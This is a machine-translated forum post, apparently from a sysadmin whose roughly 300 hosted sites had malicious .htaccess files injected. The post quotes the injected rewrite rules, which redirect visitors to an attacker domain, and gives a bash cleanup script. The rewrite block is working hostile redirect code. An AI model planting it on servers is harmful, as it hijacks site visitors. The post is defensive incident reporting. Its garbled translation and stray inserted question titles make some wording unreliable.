发现Web服务器漏洞

我们运营一个托pipe大约300个网站的网站服务器。

昨天早上，一个脚本在大多数（但不是全部）站点的document_root下的每个目录中都放置了.htaccess文件，这些文件由www-data（apache用户）拥有。

.htaccess文件的内容是这样的：

RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} 

谷歌search该url（这是“杀毒软件”的md5哈希），我发现这一切都发生在互联网上，并正在寻找已经处理这个问题的人，并确定漏洞是在哪里 。

• Apache Web服务器的虚拟URLpipe理器
• 为什么在apache2中不允许在这里允许
• 如何在共享主机环境中对.htaccess文件执行语法检查？
• mod_rewrite中的相对replaceRewriteRule
• Apache .htaccess错误：Debian Wheezy上“不允许在这里”

我搜查了大部分日志，但还没有发现任何结论。 有没有其他人经历过比我更深入的洞察？

到目前为止我们已经确定：

• 所做的更改是作为万维网数据，所以Apache或它的插件可能是罪魁祸首
• 所有的改变都是在15分钟内完成的，所以可能是自动的
• 由于我们的网站域名广泛不同，我认为一个网站上的单个漏洞是负责任的（而不是每个网站上的常见漏洞）
• 如果一个.htaccess文件已经存在，并且可以通过www-data写入，那么脚本就很实用，并且简单地将上面的代码行附加到文件的末尾（使其易于反转）

任何更多的提示将不胜感激。

== ==编辑

对于那些需要它的人，这里是我用来清理.htaccess文件的脚本：

 #!/bin/bash PATT=84f6a4eef61784b33e4acbd32c8fdd72.com DIR=/mnt TMP=/tmp/`mktemp "XXXXXX"` find $DIR -name .htaccess|while read FILE; do if ( grep $PATT "$FILE" > /dev/null); then if [ `cat "$FILE"|wc -l` -eq 4 ]; then rm "$FILE" else if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then rm $TMP cp "$FILE" $TMP LINES=`cat $TMP|wc -l` GOODLINES=$(($LINES-4)) head -n $GOODLINES $TMP > "$FILE" else echo $FILE requires manual intervention fi fi fi done